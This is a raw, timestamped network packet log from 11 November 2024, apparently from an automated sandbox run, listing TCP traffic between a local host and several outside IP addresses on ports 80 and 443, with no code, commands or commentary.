Nov 11, 2024 19:52:29.463150024 CET	49920	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.463330030 CET	49920	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.463342905 CET	443	49920	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.653364897 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.653424025 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.653949022 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.654012918 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.659507990 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.659533024 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.659554005 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.659564972 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.659568071 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.659579039 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.659584045 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.659590006 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.659603119 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.659636021 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.660955906 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.660968065 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.660981894 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.660994053 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.661014080 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.661035061 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.675870895 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.675893068 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.675904989 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.675952911 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.764731884 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.764775991 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.764836073 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.764882088 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.764920950 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.765131950 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.765218973 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.773979902 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.774038076 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.774077892 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.774091005 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.774131060 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.774164915 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.774178028 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.774225950 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.774254084 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.774266958 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.774279118 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.774291992 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.774301052 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.774317980 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.774346113 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.775260925 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.775270939 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.775305033 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.775325060 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.775347948 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.775382996 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.775681019 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.775698900 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.775711060 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.775722980 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.775736094 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.775737047 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.775763035 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.775780916 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.788039923 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.788068056 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.788079023 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.788106918 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.788117886 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.788129091 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.788132906 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.788157940 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.788172960 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.788249016 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.788315058 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.788362026 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.869155884 CET	443	49916	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.869210005 CET	443	49919	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.869682074 CET	443	49915	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.870443106 CET	49916	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.870470047 CET	443	49916	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.870922089 CET	49916	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.870929003 CET	443	49916	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.871373892 CET	49919	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.871393919 CET	443	49919	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.871732950 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.871788979 CET	49919	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.871794939 CET	443	49919	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.871957064 CET	443	49917	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.872066021 CET	49918	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.872085094 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.872303963 CET	49917	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.872313976 CET	443	49917	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.872445107 CET	49918	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.872451067 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.872992039 CET	49917	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.872997046 CET	443	49917	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.873414993 CET	49915	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.873431921 CET	443	49915	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.873929024 CET	49915	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.873934984 CET	443	49915	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.877578020 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.877604961 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.877645969 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.877661943 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.878808975 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.878822088 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.878834963 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.878845930 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.878854990 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.878880024 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.878911018 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.886281013 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.886328936 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.886341095 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.886348963 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.886360884 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.886368990 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.886385918 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.886404037 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.886466980 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.886507034 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.886523008 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.886548042 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.886552095 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.886559963 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.886571884 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.886574984 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.886604071 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.886627913 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.887486935 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.887501001 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.887512922 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.887526035 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.887537003 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.887537956 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.887550116 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.887556076 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.887562990 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.887583017 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.887604952 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.888201952 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.888264894 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.888318062 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.888365030 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889098883 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889112949 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889147043 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889153004 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889159918 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889161110 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889173031 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889183044 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889187098 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889194012 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889200926 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889214039 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889221907 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889240026 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889549971 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889602900 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889602900 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889616013 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889636993 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889652967 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889656067 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889667988 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889682055 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889693975 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.889704943 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.889735937 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.895502090 CET	443	49920	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.895780087 CET	49920	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.895792007 CET	443	49920	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.896161079 CET	443	49920	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.896606922 CET	49920	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.896678925 CET	443	49920	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.896827936 CET	49920	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.901586056 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.901601076 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.901618958 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.901631117 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.901643038 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.901654959 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.901663065 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.901667118 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.901680946 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.901686907 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.901693106 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.901724100 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.901725054 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.901745081 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.901757002 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.943340063 CET	443	49920	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.948693037 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:29.948712111 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:29.948745966 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:29.948776960 CET	49907	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:29.948790073 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:29.948817015 CET	49907	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:29.950273037 CET	49907	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:29.950289965 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:29.950298071 CET	49907	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:29.950392962 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:29.950419903 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:29.950459957 CET	49907	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:29.963466883 CET	443	49915	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.963527918 CET	443	49916	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.963582039 CET	443	49915	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.963622093 CET	443	49916	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.963648081 CET	49915	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.963664055 CET	49916	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.964644909 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.964664936 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.964706898 CET	49918	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.964716911 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.964764118 CET	49918	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.964807034 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.964845896 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.964965105 CET	49918	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.967355967 CET	443	49919	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.967375994 CET	443	49919	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.967416048 CET	443	49919	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.967432976 CET	49919	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.967470884 CET	49919	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.967711926 CET	49915	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.967737913 CET	443	49915	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.967751026 CET	49915	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.967757940 CET	443	49915	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.968684912 CET	49916	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.968699932 CET	443	49916	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.968710899 CET	49916	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.968715906 CET	443	49916	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.970416069 CET	49918	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.970421076 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.970432043 CET	49918	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.970434904 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.971229076 CET	49919	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.971237898 CET	443	49919	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.971256971 CET	49919	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.971261978 CET	443	49919	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.976845980 CET	49921	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.976872921 CET	443	49921	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.977581978 CET	49921	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.979260921 CET	49922	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.979279041 CET	443	49922	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.979382038 CET	49923	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.979392052 CET	443	49923	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.979410887 CET	49922	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.979453087 CET	49923	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.979581118 CET	49921	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.979592085 CET	443	49921	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.979918957 CET	49924	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.979934931 CET	443	49924	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.980020046 CET	49924	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.980165958 CET	49924	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.980178118 CET	443	49924	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.980319023 CET	49922	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.980330944 CET	443	49922	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.980732918 CET	49923	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.980743885 CET	443	49923	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.989043951 CET	443	49920	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.989065886 CET	443	49920	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.989115000 CET	443	49920	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.989128113 CET	49920	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.989155054 CET	49920	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.991852999 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.991869926 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.991895914 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.991908073 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.991918087 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.991918087 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.991931915 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.991944075 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.991956949 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.991983891 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.992166996 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.992177963 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.992212057 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.992225885 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.993149042 CET	443	49917	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.993172884 CET	443	49917	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.993227005 CET	49917	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.993228912 CET	443	49917	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.993267059 CET	49917	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.993489027 CET	49917	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.993495941 CET	443	49917	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.993510962 CET	49917	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.993515015 CET	443	49917	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.995691061 CET	49925	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.995707035 CET	443	49925	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.995889902 CET	49925	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.996035099 CET	49925	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.996047020 CET	443	49925	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.997040033 CET	49920	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.997059107 CET	443	49920	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.999208927 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999263048 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999274969 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999290943 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.999325991 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999331951 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.999339104 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999366045 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.999401093 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.999411106 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999423027 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999464989 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.999531031 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999542952 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999557018 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999568939 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999573946 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.999581099 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999593019 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999597073 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.999604940 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999617100 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999627113 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.999629021 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.999639988 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.999663115 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:30.000415087 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000427961 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000441074 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000473976 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:30.000507116 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:30.000618935 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000698090 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:30.000730991 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000742912 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000752926 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000766993 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000777960 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:30.000790119 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:30.000792980 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000803947 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000816107 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000822067 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:30.000828981 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:30.000840902 CET	80	49914	185.215.113.16	192.168.2.5
